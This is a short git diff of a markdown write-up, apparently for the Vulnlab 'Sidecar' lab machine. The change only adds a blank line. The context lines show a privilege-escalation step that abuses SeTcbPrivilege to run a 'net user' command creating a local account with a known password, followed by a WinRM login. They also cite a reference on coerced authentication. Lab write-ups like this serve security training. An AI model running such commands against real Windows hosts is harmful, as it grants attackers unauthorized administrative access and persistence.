diff --git a/Vulnlab/Sidecar.md b/Vulnlab/Sidecar.md index d98f76c..def2f24 100644 --- a/Vulnlab/Sidecar.md +++ b/Vulnlab/Sidecar.md @@ -379,6 +379,7 @@ SeTcbPrivilege.exe UwU "C:\Windows\System32\cmd.exe /c net user arz P@ssw0rd /ad Now we can just login again through winrm + # References - https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/living-off-the-land